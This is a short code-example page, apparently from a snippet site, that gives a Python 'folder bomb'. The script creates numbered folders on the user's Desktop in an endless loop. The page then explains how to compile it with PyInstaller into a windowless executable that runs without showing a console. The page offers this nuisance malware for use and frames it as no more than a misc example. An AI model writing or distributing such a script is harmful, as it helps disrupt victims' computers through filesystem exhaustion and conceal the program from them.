folder bomb code example

Example: folder bomb

import os

#this will search for the desktop in your OS
path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')
i = 0

#this sets an infinate loop != -1
while(i != -1):
    if(i > 0):
        pathend = path.split("\\")[-1].split("-")[:-1]
        path = path.split("\\")
        path[-1] = pathend[0]
        path = '\\'.join(path)

    #the folder path names will be called Desktop-i
    path += "-" + str(i)
    os.mkdir(path)
    i += 1


#if you want to make this into an executable then install pyinstaller like so
    # pip install pyinstaller

#then wait for this to install then do the following
#adding the -w will stop the command prompt from opening on execution
    # pyinstaller --onefile -w folder_bomb.py

#then you should see a dist folder created, inside the dist folder will be
#your executable.

Tags:

Misc Example